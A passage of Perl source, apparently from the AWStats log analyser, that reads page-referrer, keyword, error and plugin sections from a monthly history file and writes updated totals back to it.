                        if ( $field[0] eq 'BEGIN_PAGEREFS' ) {
 
5473
                                if ($Debug) { debug(" Begin of PAGEREFS section"); }
 
5474
                                $field[0] = '';
 
5475
                                my $count       = 0;
 
5476
                                my $countloaded = 0;
 
5477
                                do {
 
5478
                                        if ( $field[0] ) {
 
5479
                                                $count++;
 
5480
                                                if ( $SectionsToLoad{'pagerefs'} ) {
 
5481
                                                        my $loadrecord = 0;
 
5482
                                                        if ($withupdate) {
 
5483
                                                                $loadrecord = 1;
 
5484
                                                        }
 
5485
                                                        else {
 
5486
                                                                if (
 
5487
                                                                        (
 
5488
                                                                                !$FilterIn{'refererpages'}
 
5489
                                                                                || $field[0] =~
 
5490
                                                                                /$FilterIn{'refererpages'}/
 
5491
                                                                        )
 
5492
                                                                        && ( !$FilterEx{'refererpages'}
 
5493
                                                                                || $field[0] !~
 
5494
                                                                                /$FilterEx{'refererpages'}/ )
 
5495
                                                                  )
 
5496
                                                                {
 
5497
                                                                        $loadrecord = 1;
 
5498
                                                                }
 
5499
                                                        }
 
5500
                                                        if ($loadrecord) {
 
5501
                                                                if ( $versionnum < 5004 )
 
5502
                                                                {    # For history files < 5.4
 
5503
                                                                        if ( $field[1] ) {
 
5504
                                                                                $_pagesrefs_h{ $field[0] } +=
 
5505
                                                                                  int( $field[1] );
 
5506
                                                                        }
 
5507
                                                                }
 
5508
                                                                else {
 
5509
                                                                        if ( $field[1] ) {
 
5510
                                                                                $_pagesrefs_p{ $field[0] } +=
 
5511
                                                                                  int( $field[1] );
 
5512
                                                                        }
 
5513
                                                                        if ( $field[2] ) {
 
5514
                                                                                $_pagesrefs_h{ $field[0] } +=
 
5515
                                                                                  int( $field[2] );
 
5516
                                                                        }
 
5517
                                                                }
 
5518
                                                                $countloaded++;
 
5519
                                                        }
 
5520
                                                }
 
5521
                                        }
 
5522
                                        $_ = <HISTORY>;
 
5523
                                        chomp $_;
 
5524
                                        s/\r//;
 
5525
                                        @field =
 
5526
                                          split( /\s+/,
 
5527
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
 
5528
                                        $countlines++;
 
5529
                                  } until ( $field[0] eq 'END_PAGEREFS'
 
5530
                                          || $field[0] eq "${xmleb}END_PAGEREFS"
 
5531
                                          || !$_ );
 
5532
                                if (   $field[0] ne 'END_PAGEREFS'
 
5533
                                        && $field[0] ne "${xmleb}END_PAGEREFS" )
 
5534
                                {
 
5535
                                        error(
 
5536
"History file \"$filetoread\" is corrupted (End of section PAGEREFS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
 
5537
                                                "", "", 1
 
5538
                                        );
 
5539
                                }
 
5540
                                if ($Debug) {
 
5541
                                        debug(
 
5542
" End of PAGEREFS section ($count entries, $countloaded loaded)"
 
5543
                                        );
 
5544
                                }
 
5545
                                delete $SectionsToLoad{'pagerefs'};
 
5546
                                if ( $SectionsToSave{'pagerefs'} ) {
 
5547
                                        Save_History( 'pagerefs', $year, $month, $date );
 
5548
                                        delete $SectionsToSave{'pagerefs'};
 
5549
                                        if ($withpurge) { %_pagesrefs_p = (); %_pagesrefs_h = (); }
 
5550
                                }
 
5551
                                if ( !scalar %SectionsToLoad ) {
 
5552
                                        debug(" Stop reading history file. Got all we need.");
 
5553
                                        last;
 
5554
                                }
 
5555
                                next;
 
5556
                        }
 
5557
 
 
5558
                        # BEGIN_SEARCHWORDS
 
5559
                        if ( $field[0] eq 'BEGIN_SEARCHWORDS' ) {
 
5560
                                if ($Debug) {
 
5561
                                        debug(
 
5562
" Begin of SEARCHWORDS section ($MaxNbOf{'KeyphrasesShown'},$MinHit{'Keyphrase'})"
 
5563
                                        );
 
5564
                                }
 
5565
                                $field[0] = '';
 
5566
                                my $count       = 0;
 
5567
                                my $countloaded = 0;
 
5568
                                do {
 
5569
                                        if ( $field[0] ) {
 
5570
                                                $count++;
 
5571
                                                if ( $SectionsToLoad{'searchwords'} ) {
 
5572
                                                        my $loadrecord = 0;
 
5573
                                                        if ($withupdate) {
 
5574
                                                                $loadrecord = 1;
 
5575
                                                        }
 
5576
                                                        else {
 
5577
                                                                if ( $HTMLOutput{'main'} ) {
 
5578
                                                                        if ( $MonthRequired eq 'all' ) {
 
5579
                                                                                $loadrecord = 1;
 
5580
                                                                        }
 
5581
                                                                        else {
 
5582
                                                                                if ( $countloaded <
 
5583
                                                                                           $MaxNbOf{'KeyphrasesShown'}
 
5584
                                                                                        && $field[1] >=
 
5585
                                                                                        $MinHit{'Keyphrase'} )
 
5586
                                                                                {
 
5587
                                                                                        $loadrecord = 1;
 
5588
                                                                                }
 
5589
                                                                                $TotalDifferentKeyphrases++;
 
5590
                                                                                $TotalKeyphrases += ( $field[1] || 0 );
 
5591
                                                                        }
 
5592
                                                                }
 
5593
                                                                elsif ( $HTMLOutput{'keyphrases'} )
 
5594
                                                                {    # Load keyphrases for keyphrases chart
 
5595
                                                                        if ( $MonthRequired eq 'all' ) {
 
5596
                                                                                $loadrecord = 1;
 
5597
                                                                        }
 
5598
                                                                        else {
 
5599
                                                                                if ( $field[1] >= $MinHit{'Keyphrase'} )
 
5600
                                                                                {
 
5601
                                                                                        $loadrecord = 1;
 
5602
                                                                                }
 
5603
                                                                                $TotalDifferentKeyphrases++;
 
5604
                                                                                $TotalKeyphrases += ( $field[1] || 0 );
 
5605
                                                                        }
 
5606
                                                                }
 
5607
                                                                if ( $HTMLOutput{'keywords'} )
 
5608
                                                                {    # Load keyphrases for keywords chart
 
5609
                                                                        $loadrecord = 2;
 
5610
                                                                }
 
5611
                                                        }
 
5612
                                                        if ($loadrecord) {
 
5613
                                                                if ( $field[1] ) {
 
5614
                                                                        if ( $loadrecord == 2 ) {
 
5615
                                                                                foreach ( split( /\+/, $field[0] ) )
 
5616
                                                                                {    # field[0] is "val1+val2+..."
 
5617
                                                                                        $_keywords{$_} += $field[1];
 
5618
                                                                                }
 
5619
                                                                        }
 
5620
                                                                        else {
 
5621
                                                                                $_keyphrases{ $field[0] } += $field[1];
 
5622
                                                                        }
 
5623
                                                                }
 
5624
                                                                $countloaded++;
 
5625
                                                        }
 
5626
                                                }
 
5627
                                        }
 
5628
                                        $_ = <HISTORY>;
 
5629
                                        chomp $_;
 
5630
                                        s/\r//;
 
5631
                                        @field =
 
5632
                                          split( /\s+/,
 
5633
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
 
5634
                                        $countlines++;
 
5635
                                  } until ( $field[0] eq 'END_SEARCHWORDS'
 
5636
                                          || $field[0] eq "${xmleb}END_SEARCHWORDS"
 
5637
                                          || !$_ );
 
5638
                                if (   $field[0] ne 'END_SEARCHWORDS'
 
5639
                                        && $field[0] ne "${xmleb}END_SEARCHWORDS" )
 
5640
                                {
 
5641
                                        error(
 
5642
"History file \"$filetoread\" is corrupted (End of section SEARCHWORDS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
 
5643
                                                "", "", 1
 
5644
                                        );
 
5645
                                }
 
5646
                                if ($Debug) {
 
5647
                                        debug(
 
5648
" End of SEARCHWORDS section ($count entries, $countloaded loaded)"
 
5649
                                        );
 
5650
                                }
 
5651
                                delete $SectionsToLoad{'searchwords'};
 
5652
                                if ( $SectionsToSave{'searchwords'} ) {
 
5653
                                        Save_History( 'searchwords', $year, $month, $date );
 
5654
                                        delete $SectionsToSave{ 'searchwords'
 
5655
                                          };    # This save searwords and keywords sections
 
5656
                                        if ($withpurge) { %_keyphrases = (); }
 
5657
                                }
 
5658
                                if ( !scalar %SectionsToLoad ) {
 
5659
                                        debug(" Stop reading history file. Got all we need.");
 
5660
                                        last;
 
5661
                                }
 
5662
                                next;
 
5663
                        }
 
5664
 
 
5665
                        # BEGIN_KEYWORDS
 
5666
                        if ( $field[0] eq 'BEGIN_KEYWORDS' ) {
 
5667
                                if ($Debug) {
 
5668
                                        debug(
 
5669
" Begin of KEYWORDS section ($MaxNbOf{'KeywordsShown'},$MinHit{'Keyword'})"
 
5670
                                        );
 
5671
                                }
 
5672
                                $field[0] = '';
 
5673
                                my $count       = 0;
 
5674
                                my $countloaded = 0;
 
5675
                                do {
 
5676
                                        if ( $field[0] ) {
 
5677
                                                $count++;
 
5678
                                                if ( $SectionsToLoad{'keywords'} ) {
 
5679
                                                        my $loadrecord = 0;
 
5680
                                                        if ( $MonthRequired eq 'all' ) { $loadrecord = 1; }
 
5681
                                                        else {
 
5682
                                                                if (   $countloaded < $MaxNbOf{'KeywordsShown'}
 
5683
                                                                        && $field[1] >= $MinHit{'Keyword'} )
 
5684
                                                                {
 
5685
                                                                        $loadrecord = 1;
 
5686
                                                                }
 
5687
                                                                $TotalDifferentKeywords++;
 
5688
                                                                $TotalKeywords += ( $field[1] || 0 );
 
5689
                                                        }
 
5690
                                                        if ($loadrecord) {
 
5691
                                                                if ( $field[1] ) {
 
5692
                                                                        $_keywords{ $field[0] } += $field[1];
 
5693
                                                                }
 
5694
                                                                $countloaded++;
 
5695
                                                        }
 
5696
                                                }
 
5697
                                        }
 
5698
                                        $_ = <HISTORY>;
 
5699
                                        chomp $_;
 
5700
                                        s/\r//;
 
5701
                                        @field =
 
5702
                                          split( /\s+/,
 
5703
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
 
5704
                                        $countlines++;
 
5705
                                  } until ( $field[0] eq 'END_KEYWORDS'
 
5706
                                          || $field[0] eq "${xmleb}END_KEYWORDS"
 
5707
                                          || !$_ );
 
5708
                                if (   $field[0] ne 'END_KEYWORDS'
 
5709
                                        && $field[0] ne "${xmleb}END_KEYWORDS" )
 
5710
                                {
 
5711
                                        error(
 
5712
"History file \"$filetoread\" is corrupted (End of section KEYWORDS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
 
5713
                                                "", "", 1
 
5714
                                        );
 
5715
                                }
 
5716
                                if ($Debug) {
 
5717
                                        debug(
 
5718
" End of KEYWORDS section ($count entries, $countloaded loaded)"
 
5719
                                        );
 
5720
                                }
 
5721
                                delete $SectionsToLoad{'keywords'};
 
5722
                                if ( $SectionsToSave{'keywords'} ) {
 
5723
                                        Save_History( 'keywords', $year, $month, $date );
 
5724
                                        delete $SectionsToSave{'keywords'};
 
5725
                                        if ($withpurge) { %_keywords = (); }
 
5726
                                }
 
5727
                                if ( !scalar %SectionsToLoad ) {
 
5728
                                        debug(" Stop reading history file. Got all we need.");
 
5729
                                        last;
 
5730
                                }
 
5731
                                next;
 
5732
                        }
 
5733
 
 
5734
                        # BEGIN_ERRORS
 
5735
                        if ( $field[0] eq 'BEGIN_ERRORS' ) {
 
5736
                                if ($Debug) { debug(" Begin of ERRORS section"); }
 
5737
                                $field[0] = '';
 
5738
                                my $count       = 0;
 
5739
                                my $countloaded = 0;
 
5740
                                do {
 
5741
                                        if ( $field[0] ) {
 
5742
                                                $count++;
 
5743
                                                if ( $SectionsToLoad{'errors'} ) {
 
5744
                                                        $countloaded++;
 
5745
                                                        if ( $field[1] ) {
 
5746
                                                                $_errors_h{ $field[0] } += $field[1];
 
5747
                                                        }
 
5748
                                                        if ( $field[2] ) {
 
5749
                                                                $_errors_k{ $field[0] } += $field[2];
 
5750
                                                        }
 
5751
                                                }
 
5752
                                        }
 
5753
                                        $_ = <HISTORY>;
 
5754
                                        chomp $_;
 
5755
                                        s/\r//;
 
5756
                                        @field =
 
5757
                                          split( /\s+/,
 
5758
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
 
5759
                                        $countlines++;
 
5760
                                  } until ( $field[0] eq 'END_ERRORS'
 
5761
                                          || $field[0] eq "${xmleb}END_ERRORS"
 
5762
                                          || !$_ );
 
5763
                                if (   $field[0] ne 'END_ERRORS'
 
5764
                                        && $field[0] ne "${xmleb}END_ERRORS" )
 
5765
                                {
 
5766
                                        error(
 
5767
"History file \"$filetoread\" is corrupted (End of section ERRORS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
 
5768
                                                "", "", 1
 
5769
                                        );
 
5770
                                }
 
5771
                                if ($Debug) {
 
5772
                                        debug(
 
5773
" End of ERRORS section ($count entries, $countloaded loaded)"
 
5774
                                        );
 
5775
                                }
 
5776
                                delete $SectionsToLoad{'errors'};
 
5777
                                if ( $SectionsToSave{'errors'} ) {
 
5778
                                        Save_History( 'errors', $year, $month, $date );
 
5779
                                        delete $SectionsToSave{'errors'};
 
5780
                                        if ($withpurge) { %_errors_h = (); %_errors_k = (); }
 
5781
                                }
 
5782
                                if ( !scalar %SectionsToLoad ) {
 
5783
                                        debug(" Stop reading history file. Got all we need.");
 
5784
                                        last;
 
5785
                                }
 
5786
                                next;
 
5787
                        }
 
5788
 
 
5789
                        # BEGIN_SIDER_xxx
 
5790
                        foreach my $code ( keys %TrapInfosForHTTPErrorCodes ) {
 
5791
                                if ( $field[0] eq "BEGIN_SIDER_$code" ) {
 
5792
                                        if ($Debug) { debug(" Begin of SIDER_$code section"); }
 
5793
                                        $field[0] = '';
 
5794
                                        my $count       = 0;
 
5795
                                        my $countloaded = 0;
 
5796
                                        do {
 
5797
                                                if ( $field[0] ) {
 
5798
                                                        $count++;
 
5799
                                                        if ( $SectionsToLoad{"sider_$code"} ) {
 
5800
                                                                $countloaded++;
 
5801
                                                                if ( $field[1] ) {
 
5802
                                                                        $_sider404_h{ $field[0] } += $field[1];
 
5803
                                                                }
 
5804
                                                                if ( $withupdate || $HTMLOutput{"errors$code"} )
 
5805
                                                                {
 
5806
                                                                        if ( $field[2] ) {
 
5807
                                                                                $_referer404_h{ $field[0] } = $field[2];
 
5808
                                                                        }
 
5809
                                                                }
 
5810
                                                        }
 
5811
                                                }
 
5812
                                                $_ = <HISTORY>;
 
5813
                                                chomp $_;
 
5814
                                                s/\r//;
 
5815
                                                @field = split(
 
5816
                                                        /\s+/,
 
5817
                                                        (
 
5818
                                                                $readxml
 
5819
                                                                ? XMLDecodeFromHisto($_)
 
5820
                                                                : $_
 
5821
                                                        )
 
5822
                                                );
 
5823
                                                $countlines++;
 
5824
                                          } until ( $field[0] eq "END_SIDER_$code"
 
5825
                                                  || $field[0] eq "${xmleb}END_SIDER_$code"
 
5826
                                                  || !$_ );
 
5827
                                        if (   $field[0] ne "END_SIDER_$code"
 
5828
                                                && $field[0] ne "${xmleb}END_SIDER_$code" )
 
5829
                                        {
 
5830
                                                error(
 
5831
"History file \"$filetoread\" is corrupted (End of section SIDER_$code not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
 
5832
                                                        "", "", 1
 
5833
                                                );
 
5834
                                        }
 
5835
                                        if ($Debug) {
 
5836
                                                debug(
 
5837
" End of SIDER_$code section ($count entries, $countloaded loaded)"
 
5838
                                                );
 
5839
                                        }
 
5840
                                        delete $SectionsToLoad{"sider_$code"};
 
5841
                                        if ( $SectionsToSave{"sider_$code"} ) {
 
5842
                                                Save_History( "sider_$code", $year, $month, $date );
 
5843
                                                delete $SectionsToSave{"sider_$code"};
 
5844
                                                if ($withpurge) {
 
5845
                                                        %_sider404_h   = ();
 
5846
                                                        %_referer404_h = ();
 
5847
                                                }
 
5848
                                        }
 
5849
                                        if ( !scalar %SectionsToLoad ) {
 
5850
                                                debug(" Stop reading history file. Got all we need.");
 
5851
                                                last;
 
5852
                                        }
 
5853
                                        next;
 
5854
                                }
 
5855
                        }
 
5856
 
 
5857
                        # BEGIN_EXTRA_xxx
 
5858
                        foreach my $extranum ( 1 .. @ExtraName - 1 ) {
 
5859
                                if ( $field[0] eq "BEGIN_EXTRA_$extranum" ) {
 
5860
                                        if ($Debug) { debug(" Begin of EXTRA_$extranum"); }
 
5861
                                        $field[0] = '';
 
5862
                                        my $count       = 0;
 
5863
                                        my $countloaded = 0;
 
5864
                                        do {
 
5865
                                                if ( $field[0] ne '' ) {
 
5866
                                                        $count++;
 
5867
                                                        if ( $SectionsToLoad{"extra_$extranum"} ) {
 
5868
                                                                if (   $ExtraStatTypes[$extranum] =~ /P/i
 
5869
                                                                        && $field[1] )
 
5870
                                                                {
 
5871
                                                                        ${ '_section_' . $extranum . '_p' }
 
5872
                                                                          { $field[0] } += $field[1];
 
5873
                                                                }
 
5874
                                                                ${ '_section_' . $extranum . '_h' }
 
5875
                                                                  { $field[0] } += $field[2];
 
5876
                                                                if (   $ExtraStatTypes[$extranum] =~ /B/i
 
5877
                                                                        && $field[3] )
 
5878
                                                                {
 
5879
                                                                        ${ '_section_' . $extranum . '_k' }
 
5880
                                                                          { $field[0] } += $field[3];
 
5881
                                                                }
 
5882
                                                                if ( $ExtraStatTypes[$extranum] =~ /L/i
 
5883
                                                                        && !${ '_section_' . $extranum . '_l' }
 
5884
                                                                        { $field[0] }
 
5885
                                                                        && $field[4] )
 
5886
                                                                {
 
5887
                                                                        ${ '_section_' . $extranum . '_l' }
 
5888
                                                                          { $field[0] } = int( $field[4] );
 
5889
                                                                }
 
5890
                                                                $countloaded++;
 
5891
                                                        }
 
5892
                                                }
 
5893
                                                $_ = <HISTORY>;
 
5894
                                                chomp $_;
 
5895
                                                s/\r//;
 
5896
                                                @field = split(
 
5897
                                                        /\s+/,
 
5898
                                                        (
 
5899
                                                                $readxml
 
5900
                                                                ? XMLDecodeFromHisto($_)
 
5901
                                                                : $_
 
5902
                                                        )
 
5903
                                                );
 
5904
                                                $countlines++;
 
5905
                                          } until ( $field[0] eq "END_EXTRA_$extranum"
 
5906
                                                  || $field[0] eq "${xmleb}END_EXTRA_$extranum"
 
5907
                                                  || !$_ );
 
5908
                                        if (   $field[0] ne "END_EXTRA_$extranum"
 
5909
                                                && $field[0] ne "${xmleb}END_EXTRA_$extranum" )
 
5910
                                        {
 
5911
                                                error(
 
5912
"History file \"$filetoread\" is corrupted (End of section EXTRA_$extranum not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
 
5913
                                                        "", "", 1
 
5914
                                                );
 
5915
                                        }
 
5916
                                        if ($Debug) {
 
5917
                                                debug(
 
5918
" End of EXTRA_$extranum section ($count entries, $countloaded loaded)"
 
5919
                                                );
 
5920
                                        }
 
5921
                                        delete $SectionsToLoad{"extra_$extranum"};
 
5922
                                        if ( $SectionsToSave{"extra_$extranum"} ) {
 
5923
                                                Save_History( "extra_$extranum", $year, $month, $date );
 
5924
                                                delete $SectionsToSave{"extra_$extranum"};
 
5925
                                                if ($withpurge) {
 
5926
                                                        %{ '_section_' . $extranum . '_p' } = ();
 
5927
                                                        %{ '_section_' . $extranum . '_h' } = ();
 
5928
                                                        %{ '_section_' . $extranum . '_b' } = ();
 
5929
                                                        %{ '_section_' . $extranum . '_l' } = ();
 
5930
                                                }
 
5931
                                        }
 
5932
                                        if ( !scalar %SectionsToLoad ) {
 
5933
                                                debug(" Stop reading history file. Got all we need.");
 
5934
                                                last;
 
5935
                                        }
 
5936
                                        next;
 
5937
                                }
 
5938
                        }
 
5939
 
 
5940
                        # BEGIN_PLUGINS
 
5941
                        if (   $AtLeastOneSectionPlugin
 
5942
                                && $field[0] =~ /^BEGIN_PLUGIN_(\w+)$/i )
 
5943
                        {
 
5944
                                my $pluginname = $1;
 
5945
                                my $found      = 0;
 
5946
                                foreach ( keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) {
 
5947
                                        if ( $pluginname eq $_ ) {
 
5948
 
 
5949
                                                # The plugin for this section was loaded
 
5950
                                                $found = 1;
 
5951
                                                my $issectiontoload =
 
5952
                                                  $SectionsToLoad{"plugin_$pluginname"};
 
5953
 
 
5954
#                                   my $function="SectionReadHistory_$pluginname(\$issectiontoload,\$readxml,\$xmleb,\$countlines)";
 
5955
#                                   eval("$function");
 
5956
                                                my $function = "SectionReadHistory_$pluginname";
 
5957
                                                &$function( $issectiontoload, $readxml, $xmleb,
 
5958
                                                        $countlines );
 
5959
                                                delete $SectionsToLoad{"plugin_$pluginname"};
 
5960
                                                if ( $SectionsToSave{"plugin_$pluginname"} ) {
 
5961
                                                        Save_History( "plugin_$pluginname",
 
5962
                                                                $year, $month, $date );
 
5963
                                                        delete $SectionsToSave{"plugin_$pluginname"};
 
5964
                                                        if ($withpurge) {
 
5965
 
 
5966
#                                       my $function="SectionInitHashArray_$pluginname()";
 
5967
#                                       eval("$function");
 
5968
                                                                my $function =
 
5969
                                                                  "SectionInitHashArray_$pluginname";
 
5970
                                                                &$function();
 
5971
                                                        }
 
5972
                                                }
 
5973
                                                last;
 
5974
                                        }
 
5975
                                }
 
5976
                                if ( !scalar %SectionsToLoad ) {
 
5977
                                        debug(" Stop reading history file. Got all we need.");
 
5978
                                        last;
 
5979
                                }
 
5980
 
 
5981
                                # The plugin for this section was not loaded
 
5982
                                if ( !$found ) {
 
5983
                                        do {
 
5984
                                                $_ = <HISTORY>;
 
5985
                                                chomp $_;
 
5986
                                                s/\r//;
 
5987
                                                @field = split(
 
5988
                                                        /\s+/,
 
5989
                                                        (
 
5990
                                                                $readxml
 
5991
                                                                ? XMLDecodeFromHisto($_)
 
5992
                                                                : $_
 
5993
                                                        )
 
5994
                                                );
 
5995
                                                $countlines++;
 
5996
                                          } until ( $field[0] eq "END_PLUGIN_$pluginname"
 
5997
                                                  || $field[0] eq "${xmleb}END_PLUGIN_$pluginname"
 
5998
                                                  || !$_ );
 
5999
                                }
 
6000
                                next;
 
6001
                        }
 
6002
 
 
6003
# For backward compatibility (ORIGIN section was "HitFromx" in old history files)
 
6004
                        if ( $SectionsToLoad{'origin'} ) {
 
6005
                                if ( $field[0] eq 'HitFrom0' ) {
 
6006
                                        $_from_p[0] += 0;
 
6007
                                        $_from_h[0] += $field[1];
 
6008
                                        next;
 
6009
                                }
 
6010
                                if ( $field[0] eq 'HitFrom1' ) {
 
6011
                                        $_from_p[1] += 0;
 
6012
                                        $_from_h[1] += $field[1];
 
6013
                                        next;
 
6014
                                }
 
6015
                                if ( $field[0] eq 'HitFrom2' ) {
 
6016
                                        $_from_p[2] += 0;
 
6017
                                        $_from_h[2] += $field[1];
 
6018
                                        next;
 
6019
                                }
 
6020
                                if ( $field[0] eq 'HitFrom3' ) {
 
6021
                                        $_from_p[3] += 0;
 
6022
                                        $_from_h[3] += $field[1];
 
6023
                                        next;
 
6024
                                }
 
6025
                                if ( $field[0] eq 'HitFrom4' ) {
 
6026
                                        $_from_p[4] += 0;
 
6027
                                        $_from_h[4] += $field[1];
 
6028
                                        next;
 
6029
                                }
 
6030
                                if ( $field[0] eq 'HitFrom5' ) {
 
6031
                                        $_from_p[5] += 0;
 
6032
                                        $_from_h[5] += $field[1];
 
6033
                                        next;
 
6034
                                }
 
6035
                        }
 
6036
                }
 
6037
        }
 
6038
 
 
6039
        if ($withupdate) {
 
6040
 
 
6041
# Process rest of data saved in 'wait' arrays (data for hosts that are not in history file or no history file found)
 
6042
# This can change some values for day, sider and session sections
 
6043
                if ($Debug) { debug( " Processing data in 'wait' arrays", 3 ); }
 
6044
                foreach ( keys %_waithost_e ) {
 
6045
                        if ($Debug) {
 
6046
                                debug( "  Visit in 'wait' array for $_ is a new visit", 4 );
 
6047
                        }
 
6048
                        my $newtimehosts =
 
6049
                          ( $_waithost_s{$_} ? $_waithost_s{$_} : $_host_s{$_} );
 
6050
                        my $newtimehostl =
 
6051
                          ( $_waithost_l{$_} ? $_waithost_l{$_} : $_host_l{$_} );
 
6052
                        $_url_e{ $_waithost_e{$_} }++;
 
6053
                        $newtimehosts =~ /^(\d\d\d\d\d\d\d\d)/;
 
6054
                        $DayVisits{$1}++;
 
6055
                        if ( $_waithost_s{$_} ) {
 
6056
 
 
6057
                                # There was also a second session in processed log
 
6058
                                $_session{ GetSessionRange( $newtimehosts, $newtimehostl ) }++;
 
6059
                        }
 
6060
                }
 
6061
        }
 
6062
 
 
6063
# Write all unwrote sections in section order ('general','time', 'day','sider','session' and other...)
 
6064
        if ($Debug) {
 
6065
                debug(
 
6066
                        " Check and write all unwrote sections: "
 
6067
                          . join( ',', keys %SectionsToSave ),
 
6068
                        2
 
6069
                );
 
6070
        }
 
6071
        foreach my $key (
 
6072
                sort { $SectionsToSave{$a} <=> $SectionsToSave{$b} }
 
6073
                keys %SectionsToSave
 
6074
          )
 
6075
        {
 
6076
                Save_History( "$key", $year, $month, $date, $lastlinenb,
 
6077
                        $lastlineoffset, $lastlinechecksum );
 
6078
        }
 
6079
        %SectionsToSave = ();
 
6080
 
 
6081
# Update offset in map section and last data in general section then close files
 
6082
        if ($withupdate) {
 
6083
                if ($xml) { print HISTORYTMP "\n\n</xml>\n"; }
 
6084
 
 
6085
                # Update offset of sections in the MAP section
 
6086
                foreach ( sort { $PosInFile{$a} <=> $PosInFile{$b} } keys %ValueInFile )
 
6087
                {
 
6088
                        if ($Debug) {
 
6089
                                debug(
 
6090
" Update offset of section $_=$ValueInFile{$_} in file at offset $PosInFile{$_}"
 
6091
                                );
 
6092
                        }
 
6093
                        if ( $PosInFile{"$_"} ) {
 
6094
                                seek( HISTORYTMP, $PosInFile{"$_"}, 0 );
 
6095
                                print HISTORYTMP $ValueInFile{"$_"};
 
6096
                        }
 
6097
                }
 
6098
 
 
6099
                # Save last data in general sections
 
6100
                if ($Debug) {
 
6101
                        debug(
 
6102
" Update MonthVisits=$MonthVisits{$year.$month} in file at offset $PosInFile{TotalVisits}"
 
6103
                        );
 
6104
                }
 
6105
                seek( HISTORYTMP, $PosInFile{"TotalVisits"}, 0 );
 
6106
                print HISTORYTMP $MonthVisits{ $year . $month };
 
6107
                if ($Debug) {
 
6108
                        debug(
 
6109
" Update MonthUnique=$MonthUnique{$year.$month} in file at offset $PosInFile{TotalUnique}"
 
6110
                        );
 
6111
                }
 
6112
                seek( HISTORYTMP, $PosInFile{"TotalUnique"}, 0 );
 
6113
                print HISTORYTMP $MonthUnique{ $year . $month };
 
6114
                if ($Debug) {
 
6115
                        debug(
 
6116
" Update MonthHostsKnown=$MonthHostsKnown{$year.$month} in file at offset $PosInFile{MonthHostsKnown}"
 
6117
                        );
 
6118
                }
 
6119
                seek( HISTORYTMP, $PosInFile{"MonthHostsKnown"}, 0 );
 
6120
                print HISTORYTMP $MonthHostsKnown{ $year . $month };
 
6121
                if ($Debug) {
 
6122
                        debug(
 
6123
" Update MonthHostsUnknown=$MonthHostsUnknown{$year.$month} in file at offset $PosInFile{MonthHostsUnknown}"
 
6124
                        );
 
6125
                }
 
6126
                seek( HISTORYTMP, $PosInFile{"MonthHostsUnknown"}, 0 );
 
6127
                print HISTORYTMP $MonthHostsUnknown{ $year . $month };
 
6128
                close(HISTORYTMP) || error("Failed to write temporary history file");
 
6129
        }
 
6130
        if ($withread) {
 
6131
                close(HISTORY) || error("Command for pipe '$filetoread' failed");
 
6132
        }
 
6133
 
 
6134
        # Purge data
 
6135
        if ($withpurge) { &Init_HashArray(); }
 
6136
 
 
6137
        # If update, rename tmp file bis into tmp file or set HistoryAlreadyFlushed
 
6138
        if ($withupdate) {
 
6139
                if ( $HistoryAlreadyFlushed{"$year$month$day$hour"} ) {
 
6140
                        debug(
 
6141
                                "Rename tmp history file bis '$filetoread' to '$filetowrite'");
 
6142
                        if ( rename( $filetowrite, $filetoread ) == 0 ) {
 
6143
                                error("Failed to update tmp history file $filetoread");
 
6144
                        }
 
6145
                }
 
6146
                else {
 
6147
                        $HistoryAlreadyFlushed{"$year$month$day$hour"} = 1;
 
6148
                }
 
6149
 
 
6150
                if ( !$ListOfYears{"$year"} || $ListOfYears{"$year"} lt "$month" ) {
 
6151
                        $ListOfYears{"$year"} = "$month";
 
6152
                }
 
6153
        }
 
6154
 
 
6155
        # For backward compatibility, if LastLine does not exist, set to LastTime
 
6156
        $LastLine ||= $LastTime{$date};
 
6157
 
 
6158
        return ( $withupdate ? "$filetowrite" : "" );
 
6159
}
 
6160
 
 
6161
#------------------------------------------------------------------------------
 
6162
# Function:             Save a part of history file
 
6163
# Parameters:   sectiontosave,year,month,breakdate[,lastlinenb,lastlineoffset,lastlinechecksum]
 
6164
# Input:                $VERSION HISTORYTMP $nowyear $nowmonth $nowday $nowhour $nowmin $nowsec $LastLineNumber $LastLineOffset $LastLineChecksum
 
6165
# Output:               None
 
6166
# Return:               None
 
6167
#------------------------------------------------------------------------------
 
6168
sub Save_History {
 
6169
        my $sectiontosave = shift || '';
 
6170
        my $year          = shift || '';
 
6171
        my $month         = shift || '';
 
6172
        my $breakdate     = shift || '';
 
6173
 
 
6174
        my $xml = ( $BuildHistoryFormat eq 'xml' ? 1 : 0 );
 
6175
        my (
 
6176
                $xmlbb, $xmlbs, $xmlbe, $xmlhb, $xmlhs, $xmlhe,
 
6177
                $xmlrb, $xmlrs, $xmlre, $xmleb, $xmlee
 
6178
          )
 
6179
          = ( '', '', '', '', '', '', '', '', '', '', '' );
 
6180
        if ($xml) {
 
6181
                (
 
6182
                        $xmlbb, $xmlbs, $xmlbe, $xmlhb, $xmlhs, $xmlhe,
 
6183
                        $xmlrb, $xmlrs, $xmlre, $xmleb, $xmlee
 
6184
                  )
 
6185
                  = (
 
6186
                        "</comment><nu>\n", '</nu><recnb>',
 
6187
                        '</recnb><table>',  '<tr><th>',
 
6188
                        '</th><th>',        '</th></tr>',
 
6189
                        '<tr><td>',         '</td><td>',
 
6190
                        '</td></tr>',       '</table><nu>',
 
6191
                        "\n</nu></section>"
 
6192
                  );
 
6193
        }
 
6194
        else { $xmlbs = ' '; $xmlhs = ' '; $xmlrs = ' '; }
 
6195
 
 
6196
        my $lastlinenb       = shift || 0;
 
6197
        my $lastlineoffset   = shift || 0;
 
6198
